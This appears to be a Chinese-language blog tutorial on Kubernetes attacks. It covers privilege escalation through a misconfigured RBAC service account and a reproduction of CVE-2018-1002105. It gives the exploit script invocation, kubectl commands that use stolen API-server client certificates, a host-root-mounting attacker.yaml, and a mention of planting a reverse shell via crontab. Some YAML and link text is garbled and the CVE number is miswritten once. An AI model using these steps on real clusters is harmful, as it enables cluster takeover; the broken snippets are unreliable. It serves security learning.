在这里插入图片描述

RBAC配置不当

Service Account本质是服务账号,是Pod连接K8s集群的凭证。
在默认情况下,系统会为创建的Pod提供一个默认的Service Account,

用户也可以自定义Service Account,与Service Account关联的凭证会自动挂载到Pod的文件系统中。

当攻击者通过某个web应用获取到一个Pod权限时,如果RBAC权限配置不当,

Pod关联的Service Account拥有创建Pod的权限。

攻击者就可以使用污点容忍的方式,将挂载根目录的恶意Pod调度到Master节点,获取Master 节点上的 kubeconfig 文件,从而直接接管整个集群。

攻击场景

(1)Service Account赋予bypass对test名称空间拥有管理员权限。


kubectl create serviceaccount bypass -n test
kubectl create rolebinding sa-admin --clusterrole=cluster-admin --serviceaccount=test:bypass -n test
kubectl get pod --as=system:serviceaccount:test:bypass

在这里插入图片描述
(2)在Pod中,使用自定义的Service Account。

在这里插入图片描述


# pod-sa.yaml
apiVersion: v1
kind: Pod
metadata:
    name: pod-sa
    namespace: test
spec:
    serviceAccountName: "bypass"
    containers:
    - name: ubuntu
      image: ubuntu:20.04
      command: ['/bin/sh','-c','sleep 24h']

(3)在Pod创建时,Service Account关联的凭证,

会挂载到 /var/run/secrets/kubernetes.io/serviceaccount/ 目录,
其中ca.crt是证书、namespace是Pod所属的命名空间,
token是访问API Server的令牌 。

在这里插入图片描述

攻击过程

(1)攻击方式:kubectl 命令行操作
(2)攻击方式:curl 命令操作

CVE-2018-100210权限提升漏洞

利用的过程



构造错误请求,建立kuberneetes API server代理到kubelet的高权限websocket连接。

利用高权限websokcet连接,向kubelet发起/runningpods/请求,获取当前存活pod列表。

在存活的pod例表中找到kubernetes API server的pod名称。

在利用之前的websokcet连接,向kubelet发起exec请求后,获取kubernetes API server的pod中读取ca.crt、apiserver-kubelet-client.crt、apiserver-kubelet-client.key 数据。

使用kubectl命令行工具,利用上面获取的4个文件,创建挂载了宿主根目录的恶意pod,来实现容器逃逸。

复现过程

正常访问https://ip:6443/api/v1/namespaces/role/pods/test/exec时因为我们设置了Bearer Token验证所以返回403。

在这里插入图片描述
我们需要进行构造加上Bearer Token(在请求头Authorizat加上Bearer 1234567890)
利用exec接口的调用至少需要指定标准输入、标准输出或者错误输出的任意一个,所以没有对exec接口加上参数来达到构造错误请求。

在这里插入图片描述

使用脚本直接获取到namespaces下的kube-system的kube-apiserver中ca.crt、apiserver-kubelet-client.crt、apiserver-kubelet-client.key。

命令:python3 ./exploit.py --target xxx.xxx.xxx.xxx --port 6443 --bearer-token 1234567890 --namespace role --pod test

在这里插入图片描述

ruby 命令:kubectl --server=https://ip:6443 --certificate-authority=ca.crt --client-certificate=apiserver-kubelet-client.crt --client-key=apiserver-kubelet-client.key apply -f attacker.yaml
在这里插入图片描述
使用ls命令查看宿主机的磁盘是否挂载到了创建的恶意pod中mnt目录下

命令:kubectl --server=https://192.3.62.241:6443 --certificate-authority=ca.crt --client-certificate=apiserver-kubelet-client.crt --client-key=apiserver-kubelet-client.key exec myapp ls /mnt/root

在这里插入图片描述

接下来只需要向/mnt/etc/crontab写入反弹shell就能使用拿到宿主机权限以达到提权。

#exploit.py 

https://github.com/Metarget/cloud-native-security-book/blob/main/code/0403-CVE-2018-1002105/exploit.pyin/hostname

#attacker.yaml

apiVersion:v1
kind:Pod
metadata:
name:myapp
spec:
containers:
-image:nginx
name:test-container
volumeMounts:
-mountPath:/mnt
name:test-volume
volumes:
-name:test-volume
hostPath:
path:/
Logo

K8S/Kubernetes社区为您提供最前沿的新闻资讯和知识内容

更多推荐